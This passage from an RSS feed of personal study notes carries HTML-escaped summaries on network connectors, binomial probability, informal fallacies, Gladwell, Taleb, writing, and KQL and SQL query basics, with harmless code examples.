&lt;p&gt;Revere alerted influential militia leaders on his ride to Lexington.&lt;/p&gt;
&lt;p&gt;Led to American forces winning the first battle of the Revolutionary War.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Malcolm Gladwel 
&lt;a href="https://www.curiosities.dev/social-science/sociology/gladwell-tipping-point/02-law-of-the-few/01-connectors/#why-revere-but-not-dawes"
 
 
 
 &gt;
 describes Paul Revere as a &amp;ldquo;Connector&amp;rdquo; in The Tipping
Point
 
&lt;/a&gt;
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="medici-family-in-renaissance-florence"&gt;Medici Family in Renaissance Florence&lt;/h2&gt;
&lt;p&gt;15 prominent families&lt;/p&gt;
&lt;p&gt;Medici had 50% higher degree than Strozzi and Guadagni.&lt;/p&gt;
&lt;p&gt;But the Medicis influential power was much greater than explained by the 50%.&lt;/p&gt;</description></item><item><title>Bernoulli Processes</title><link>https://www.curiosities.dev/mathematics/probability/probability-and-stochastic-systems/02-bernoulli-processes/01-bernoulli-process-and-binomial-rv/</link><pubDate>Mon, 02 Oct 2017 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/mathematics/probability/probability-and-stochastic-systems/02-bernoulli-processes/01-bernoulli-process-and-binomial-rv/</guid><description>&lt;h2 id="bernoulli-process"&gt;Bernoulli Process&lt;/h2&gt;
&lt;p&gt;A &lt;strong&gt;Bernoulli Process&lt;/strong&gt; is a sequence of independent \({0, 1}\) - valued random variables \(X_1, X_2, X_3, &amp;hellip;\), e.g. \(0, 0, 1, 0, 1, 1\)&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;A Bernoulli Process does not mandate that the probability distributions of the \(X_i\) be identical. That is up to the model that we choose. For instance, the Binomial Random Variable assumes \(\mathbb{P}\{X_i = 1\} = p \ \ \forall i\)&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;Suppose you flip a coin repeatedly, and record \(0\) for tails and \(1\) for heads.&lt;/p&gt;</description></item><item><title>The Binomial Random Variable</title><link>https://www.curiosities.dev/mathematics/probability/probability-and-stochastic-systems/02-bernoulli-processes/02-binomial-random-variable/</link><pubDate>Mon, 02 Oct 2017 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/mathematics/probability/probability-and-stochastic-systems/02-bernoulli-processes/02-binomial-random-variable/</guid><description>&lt;p&gt;\(X\) is a binomial random variable if it takes the values \(0, 1, 2, &amp;hellip;, n\) and&lt;/p&gt;
&lt;p&gt;$$ \mathbb{P}\{X = k\} = { n \choose k } \cdot p^k \cdot (1 - p)^{n-k} $$&lt;/p&gt;
&lt;h2 id="sanity-check-do-the-probabilities-sum-to-1"&gt;Sanity Check: Do the probabilities sum to 1?&lt;/h2&gt;
&lt;p&gt;$$ \sum_{k=0}^{n} \mathbb{P}\{X = k\} = \sum_{k=0}^{n} { n \choose k } p^k (1 - p)^{n-k} = \left( p + (1 - p) \right)^n = 1 $$&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;I totally didn&amp;rsquo;t understand how we got to \(\left( p + (1 - p) \right)^n\). In my notes, I simply noted &amp;ldquo;Calculus Theorem&amp;rdquo; and that was it. ლ(ಠ_ಠ ლ)&lt;/p&gt;</description></item><item><title>Machine Learning and Predictive Analytics [ELE 364]</title><link>https://www.curiosities.dev/computer-science/machine-learning/ele364-machine-learning-and-predictive-analytics/_meta/</link><pubDate>Thu, 14 Sep 2017 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/machine-learning/ele364-machine-learning-and-predictive-analytics/_meta/</guid><description/></item><item><title>Designing Data-Intensive Applications [Kleppmann, Martin]</title><link>https://www.curiosities.dev/computer-science/distributed-systems/klepmann-ddia/_meta/</link><pubDate>Thu, 16 Mar 2017 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/distributed-systems/klepmann-ddia/_meta/</guid><description/></item><item><title>Informal Fallacies</title><link>https://www.curiosities.dev/knowing/almossawi-bad-arguments/01-informal-fallacies/</link><pubDate>Tue, 06 Sep 2016 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/knowing/almossawi-bad-arguments/01-informal-fallacies/</guid><description>&lt;h2 id="ambiguity"&gt;Ambiguity&lt;/h2&gt;
&lt;h3 id="equivocation"&gt;Equivocation&lt;/h3&gt;
&lt;p&gt;How can you be against faith when you take leaps of faith all the time: making investments, trusting friends, and even getting engaged?&lt;/p&gt;
&lt;h3 id="no-true-scotsman"&gt;No True Scotsman&lt;/h3&gt;
&lt;p&gt;&amp;ldquo;But John is a programmer, and he is not socially awkward at all.&amp;rdquo; Yes, but John isn’t a true programmer.&lt;/p&gt;
&lt;h2 id="causal"&gt;Causal&lt;/h2&gt;
&lt;h3 id="not-a-cause-for-a-cause"&gt;Not a Cause for a Cause&lt;/h3&gt;
&lt;p&gt;The hacker took down the railway company’s website, and when I checked the train
schedule, what do you know, they were all delayed! &lt;span class="citation-ref"&gt;&lt;a href="#Almossawi2013"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Informal Fallacies</title><link>https://www.curiosities.dev/knowing/logical-fallacies/informal-fallacies/</link><pubDate>Tue, 06 Sep 2016 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/knowing/logical-fallacies/informal-fallacies/</guid><description>&lt;h2 id="ambiguity"&gt;Ambiguity&lt;/h2&gt;
&lt;h3 id="equivocation"&gt;Equivocation&lt;/h3&gt;
&lt;p&gt;How can you be against faith when you take leaps of faith all the time: making investments, trusting friends, and even getting engaged?&lt;/p&gt;
&lt;h3 id="no-true-scotsman"&gt;No True Scotsman&lt;/h3&gt;
&lt;p&gt;&amp;ldquo;But John is a programmer, and he is not socially awkward at all.&amp;rdquo; Yes, but John isn’t a true programmer.&lt;/p&gt;
&lt;h2 id="causal"&gt;Causal&lt;/h2&gt;
&lt;h3 id="not-a-cause-for-a-cause"&gt;Not a Cause for a Cause&lt;/h3&gt;
&lt;p&gt;The hacker took down the railway company’s website, and when I checked the train
schedule, what do you know, they were all delayed! &lt;span class="citation-ref"&gt;&lt;a href="#Almossawi2013"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>1. Connectors</title><link>https://www.curiosities.dev/social-science/sociology/gladwell-tipping-point/02-law-of-the-few/01-connectors/</link><pubDate>Fri, 08 Jul 2016 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/social-science/sociology/gladwell-tipping-point/02-law-of-the-few/01-connectors/</guid><description>&lt;h2 id="the-midnight-ride"&gt;The Midnight Ride &lt;span class="citation-ref"&gt;&lt;a href="#Hackett1994"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;Afternoon of April 18, 1775: Paul Revere, a silversmith, got word of British
planning to raise hell the next day.&lt;/p&gt;
&lt;p&gt;Revere goes out informing people. Churchbells and drums. Those informed by
Revere send out riders of their own.&lt;/p&gt;
&lt;p&gt;In Concord, the colonial militia soundly beat the British, kicking off the
American Revolution.&lt;/p&gt;
&lt;p&gt;Wiliam Dawes also had a ride. But the local militia leaders weren&amp;rsquo;t alerted. Few people came out to fight the British.&lt;/p&gt;</description></item><item><title>1. The 3 Rules of Epidemics</title><link>https://www.curiosities.dev/social-science/sociology/gladwell-tipping-point/01-the-3-rules-of-epidemics/</link><pubDate>Fri, 08 Jul 2016 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/social-science/sociology/gladwell-tipping-point/01-the-3-rules-of-epidemics/</guid><description>&lt;h2 id="the-law-of-the-few"&gt;The Law of the Few&lt;/h2&gt;
&lt;p&gt;From 1995 to 1996, the # of children born in Baltimore with syphillis increased 500%. CDC blamed it on cocaine and reduction in clinics. &lt;span class="citation-ref"&gt;&lt;a href="#CDC1996"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;In 100k+ Colorado Springs town, the gonorrhoea epidemic tipped because of the activities of 168 people living in 4 small neighbourhoods, frequenting the same 6 bars. &lt;span class="citation-ref"&gt;&lt;a href="#Potterat1985"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Gaëtan Dugas, an Air-Canada flight attendant, is [mis?]regarded as &amp;ldquo;Patient Zero&amp;rdquo; for AIDS in the US. It&amp;rsquo;s claimed he had \(\approx\) 2,500 sexual partners over North America, and linked to 40 of the earliest cases of AIDS in CA and NY. &lt;span class="citation-ref"&gt;&lt;a href="#Shilts1987"&gt;&lt;/a&gt;&lt;/span&gt; &lt;span class="citation-ref"&gt;&lt;a href="#WikiGaetan"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>01. Umberto Eco's Antilibrary</title><link>https://www.curiosities.dev/business/taleb-the-black-swan/01-umberto-ecos-antilibrary/</link><pubDate>Fri, 10 Jun 2016 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/taleb-the-black-swan/01-umberto-ecos-antilibrary/</guid><description>&lt;p&gt;The problem of induction: a turkey cannot possibly predict what happens on the afternoon before Thanksgiving.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;But if we observe all turkeys in the US, won&amp;rsquo;t we notice that they&amp;rsquo;re more likely to die right before Thanksgiving? Zooming out to the bigger picture invalidates Taleb&amp;rsquo;s point.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;Statements presented as science may not be as rigorous as they seem. Finding confirmation is easy.&lt;/p&gt;
&lt;p&gt;We are suckers for narratives. Hindsight attributes causality where none was apparent, e.g. the series of events that led to WWII. However, negative confirmation from history is invaluable.&lt;/p&gt;</description></item><item><title>01. Invention</title><link>https://www.curiosities.dev/writing/the-new-strategy-of-style/01-invention/</link><pubDate>Mon, 23 May 2016 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/writing/the-new-strategy-of-style/01-invention/</guid><description>&lt;h2 id="why-invention"&gt;Why Invention?&lt;/h2&gt;
&lt;p&gt;Writing involves a great deal of personal ingenuity. You must see the world clearly and participate in it imaginatively.&lt;/p&gt;
&lt;h2 id="observing"&gt;Observing&lt;/h2&gt;
&lt;p&gt;Only noticing things that most affect you leads to thin development, sketchy generalizations and excessive subjectivity.&lt;/p&gt;
&lt;p&gt;Expand your perceptual vocabulary:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Can &amp;ldquo;green&amp;rdquo; apply to the sky? &lt;em&gt;On many late afternoons, the whole Western horizon is a band of vibrating green where the yellow of the sun blends with the blue of the evening.&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Overly Convenient Excuses</title><link>https://www.curiosities.dev/knowing/yudkowsky-rationality/02-how-to-actually-change-your-mind/01-overly-convenient-excuses/</link><pubDate>Sun, 01 Feb 2015 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/knowing/yudkowsky-rationality/02-how-to-actually-change-your-mind/01-overly-convenient-excuses/</guid><description>&lt;h2 id="the-proper-use-of-humility"&gt;The Proper Use of Humility&lt;/h2&gt;
&lt;p&gt;Confessing your fallibility but doing nothing about it braggery, not humility. Designing fail-safe machinery is good humility. Dismissing evidence for evolution because we can&amp;rsquo;t really know for sure that evolution is correct is misplaced humility.&lt;/p&gt;
&lt;h2 id="the-third-alternative"&gt;The Third Alternative&lt;/h2&gt;
&lt;p&gt;Sometimes we justify questionable policy by claiming its absence is undesirable, e.g. believing in Santa makes children behave nicely, and therefore Santa-ism is the best of all possible alternatives.&lt;/p&gt;</description></item><item><title>An Illustrated Book of Bad Arguments [Ali Almossawi]</title><link>https://www.curiosities.dev/knowing/almossawi-bad-arguments/_meta/</link><pubDate>Thu, 05 Dec 2013 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/knowing/almossawi-bad-arguments/_meta/</guid><description/></item><item><title>The Tipping Point [Malcolm Gladwell]</title><link>https://www.curiosities.dev/social-science/sociology/gladwell-tipping-point/_meta/</link><pubDate>Wed, 01 Mar 2000 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/social-science/sociology/gladwell-tipping-point/_meta/</guid><description/></item><item><title>01. The Tar Pit</title><link>https://www.curiosities.dev/computer-science/swe-in-practice/mythical-man-month/brooks-01-the-tar-pit/</link><pubDate>Tue, 01 Oct 1974 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/swe-in-practice/mythical-man-month/brooks-01-the-tar-pit/</guid><description>&lt;p&gt;The fiercer the struggle, the more entangling the tar, and no beast is so strong or so skillful but that he ultimately sinks.&lt;/p&gt;
&lt;h2 id="the-programming-systems-product"&gt;The Programming Systems Product&lt;/h2&gt;
&lt;p&gt;How do 2 programmers in a remodeled garage build an important program that surpasses the best efforts of large teams?&lt;/p&gt;
&lt;h3 id="a-program"&gt;A Program&lt;/h3&gt;
&lt;p&gt;Garage duos typically build a program: complete in itself, ready to be run by the author on the system on which it was developed.&lt;/p&gt;</description></item><item><title>Mythical Man Month [Brooks, Jr., Frederick P]</title><link>https://www.curiosities.dev/computer-science/swe-in-practice/mythical-man-month/_meta/</link><pubDate>Tue, 01 Oct 1974 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/swe-in-practice/mythical-man-month/_meta/</guid><description/></item><item><title>KQL: Common Operators</title><link>https://www.curiosities.dev/computer-science/analyzing-datastores/kusto-common-operators/</link><pubDate>Sat, 24 May 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/analyzing-datastores/kusto-common-operators/</guid><description>&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#help.Samples"&gt;&lt;/a&gt;&lt;/span&gt; contains the database referenced in this document.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="count-rows"&gt;Count rows&lt;/h2&gt;
&lt;p&gt;How many storm records are there in the table?&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;Count&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;59066&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;StormEvents&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;count&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#CommonKQLOperators"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;&lt;code&gt;count&lt;/code&gt; returns a table with a single column and a single row containing the
count of the remaining rows. The output is not a scalar value. &lt;span class="citation-ref"&gt;&lt;a href="#KustoOverview"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="see-a-sample-of-data"&gt;See a sample of data&lt;/h2&gt;
&lt;p&gt;Sample N rows from the &lt;code&gt;StormEvents&lt;/code&gt; table.&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;StartTime&lt;/th&gt;
 &lt;th&gt;&amp;hellip;&lt;/th&gt;
 &lt;th&gt;State&lt;/th&gt;
 &lt;th&gt;EventType&lt;/th&gt;
 &lt;th&gt;&amp;hellip;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;2007-09-18T20:00:00.000Z&lt;/td&gt;
 &lt;td&gt;&amp;hellip;&lt;/td&gt;
 &lt;td&gt;FLORIDA&lt;/td&gt;
 &lt;td&gt;Heavy Rain&lt;/td&gt;
 &lt;td&gt;&amp;hellip;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;2007-09-29T08:11:00.000Z&lt;/td&gt;
 &lt;td&gt;&amp;hellip;&lt;/td&gt;
 &lt;td&gt;ATLANTIC SOUTH&lt;/td&gt;
 &lt;td&gt;Waterspout&lt;/td&gt;
 &lt;td&gt;&amp;hellip;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;StormEvents&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#111"&gt;take&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#CommonKQLOperators"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>App Layout</title><link>https://www.curiosities.dev/computer-science/programming-challenges/flashcards-app/web-components/app-layout/</link><pubDate>Fri, 19 Apr 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/flashcards-app/web-components/app-layout/</guid><description>&lt;p&gt;Is there a use-case for the container that lays out the various app
elements? 
&lt;a href="https://www.curiosities.dev/computer-science/programming-challenges/flashcards-app/web-components/wiki-page/#nav-bar"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 When considering a &lt;code&gt;&amp;lt;nav-bar&amp;gt;&lt;/code&gt;
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
, the conclusion was that a web component
wasn&amp;rsquo;t necessary.&lt;/p&gt;
&lt;h2 id="possible-organization"&gt;Possible Organization&lt;/h2&gt;
&lt;p&gt;The high-level picture is:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;nav&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#75af00"&gt;id&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;topnav-banner&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;...&lt;span style="color:#111"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;ul&lt;/span&gt; &lt;span style="color:#75af00"&gt;id&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;topnav-items&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;...&lt;span style="color:#111"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;ul&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;nav&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#75af00"&gt;id&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;main_div&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;...&lt;span style="color:#111"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;footer&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;...&lt;span style="color:#111"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;footer&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We should move &lt;code&gt;#topnav-banner&lt;/code&gt; out of the &lt;code&gt;&amp;lt;nav&amp;gt;&lt;/code&gt; so that we can
potentially apply lateral spacing to &lt;code&gt;#topnav-items&lt;/code&gt; and &lt;code&gt;#main_div&lt;/code&gt;
without it applying to &lt;code&gt;#topnav-banner&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>Query Languages for Data</title><link>https://www.curiosities.dev/computer-science/distributed-systems/klepmann-ddia/01-foundations-of-data-systems/02-data-models-and-query-languages/query-languages-for-data/</link><pubDate>Mon, 29 May 2023 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/distributed-systems/klepmann-ddia/01-foundations-of-data-systems/02-data-models-and-query-languages/query-languages-for-data/</guid><description>&lt;h2 id="query-languages-for-data"&gt;Query Languages for Data&lt;/h2&gt;
&lt;p&gt;If you have a list of animal species and you want to return only the sharks in
the list, a relational algebra expression would be \( \text{sharks} =
\sigma_{\text{family = &amp;ldquo;Sharks&amp;rdquo;}}(\text{animals}) \). SQL queries follow the
structure of relational algebra closely:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;SELECT&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;FROM&lt;/span&gt; &lt;span style="color:#111"&gt;animals&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;WHERE&lt;/span&gt; &lt;span style="color:#111"&gt;family&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#39;Sharks&amp;#39;&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&amp;hellip; while an imperative query would be:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;function&lt;/span&gt; &lt;span style="color:#75af00"&gt;getSharks&lt;/span&gt;&lt;span style="color:#111"&gt;()&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;let&lt;/span&gt; &lt;span style="color:#75af00"&gt;sharks&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;[];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;for&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;let&lt;/span&gt; &lt;span style="color:#75af00"&gt;i&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt; &lt;span style="color:#75af00"&gt;i&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#75af00"&gt;animals&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#75af00"&gt;length&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt; &lt;span style="color:#75af00"&gt;i&lt;/span&gt;&lt;span style="color:#f92672"&gt;++&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;if&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;animals&lt;/span&gt;&lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#75af00"&gt;i&lt;/span&gt;&lt;span style="color:#111"&gt;].&lt;/span&gt;&lt;span style="color:#75af00"&gt;family&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Sharks&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75af00"&gt;sharks&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#75af00"&gt;push&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;animals&lt;/span&gt;&lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#75af00"&gt;i&lt;/span&gt;&lt;span style="color:#111"&gt;]);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;return&lt;/span&gt; &lt;span style="color:#75af00"&gt;sharks&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#Kleppmann2017-Ch2"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;



&lt;div class="comment-holder"&gt;
